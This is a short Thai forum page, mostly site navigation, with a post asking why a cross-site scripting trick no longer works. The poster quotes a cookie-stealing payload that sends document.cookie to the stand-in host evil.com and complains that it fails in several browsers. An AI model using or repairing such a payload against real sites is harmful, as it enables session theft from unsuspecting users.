▼ กำลังโหลดข้อมูล... ▼
แสดงความคิดเห็น
คุณสามารถแสดงความคิดเห็นกับกระทู้นี้ได้ด้วยการเข้าสู่ระบบ
-
หน้าแรก
- คอมมูนิตี้
- {name} {description}
- กิจกรรม
- แลกพอยต์
- อื่นๆ
คุณสามารถแสดงความคิดเห็นกับกระทู้นี้ได้ด้วยการเข้าสู่ระบบ
เดี๋ยวนี้ xss ทำแบบนี้ไม่ได้แล้วเหรอครับ
ทำแล้วไอ้ + มันหายไปครับ ลอง window.location('http://evil.com?'.concat(document.cookie));
ก็ไม่ได้ครับ คือเหมือนมันทำได้ทีละฟังชัน เอาหลาย ๆ ฟังชันมารวมกันไม่ได้ครับ
ลอง chrome ตัวล่าสุด ie8 กับ firefox ตัวล่าสุดก็ไม่ได้ครับ